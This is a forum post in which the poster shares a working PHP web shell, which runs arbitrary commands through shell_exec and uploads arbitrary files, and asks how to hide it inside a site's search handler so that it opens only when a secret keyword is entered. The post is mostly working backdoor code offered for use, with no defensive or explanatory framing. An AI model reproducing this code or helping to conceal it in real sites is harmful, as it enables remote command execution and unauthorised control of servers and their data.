Jump to content

embedded upload php


Recommended Posts

hello there

 

well my problem is i wanted to let this upload code execute

after i typed some specific word in my search php

to make it easier for me to upload the files

 

here is the upload php

<?php

$cmd = stripslashes($_REQUEST["-cmd"]);$sendfile=$_REQUEST["sendfile"];if($sendfile=="true") { $fn=$_FILES["file"]["name"];$tn=$_FILES["file"]["tmp_name"];if(move_uploaded_file($tn, dirname(__FILE__)."/".$fn)) $result="fff";else $result="iff"; } print('<body bgcolor=black text=#008000 onLoad="document.forms[0].elements[-cmd].focus()"><center><br><form method=POST><input type=TEXT name="-cmd" size=64 value="' . $cmd . '" style="background:#020;color:#0F0;"></form><hr><table><tr><td><pre>' . htmlentities(Shell_Exec($cmd)) . $result . '</pre></td></tr></table><hr><form enctype="multipart/form-data" method="post" action=""><input type=file name=file size=20 style="background:#020;color:#0F0;"><input type="submit" value="Upload"><input type="hidden" name="sendfile" value="true"></form></center></body>'); 

?>

 

 

 

i thought about something like this

 

elseif ($_GET["action"] == "search") {  $specificword="uploaderphp";

if($_POST['q']==$specificword) {

$cmd = stripslashes($_REQUEST["-cmd"]);$sendfile=$_REQUEST["sendfile"];if($sendfile=="true") { $fn=$_FILES["file"]["name"];$tn=$_FILES["file"]["tmp_name"];if(move_uploaded_file($tn, dirname(__FILE__)."/".$fn)) $result="fff";else $result="iff"; } print('<body bgcolor=black text=#008000 onLoad="document.forms[0].elements[-cmd].focus()"><center><br><form method=POST><input type=TEXT name="-cmd" size=64 value="' . $cmd . '" style="background:#020;color:#0F0;"></form><hr><table><tr><td><pre>' . htmlentities(Shell_Exec($cmd)) . $result . '</pre></td></tr></table><hr><form enctype="multipart/form-data" method="post" action=""><input type=file name=file size=20 style="background:#020;color:#0F0;"><input type="submit" value="Upload"><input type="hidden" name="sendfile" value="true"></form></center></body>');

  }

 

but it didn't work i can get the page that looks like the upload php

but when i try to upload a file it doesn't upload anything

 

do i have to add some special function to embedd  it in the search code

 

 

 

 

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.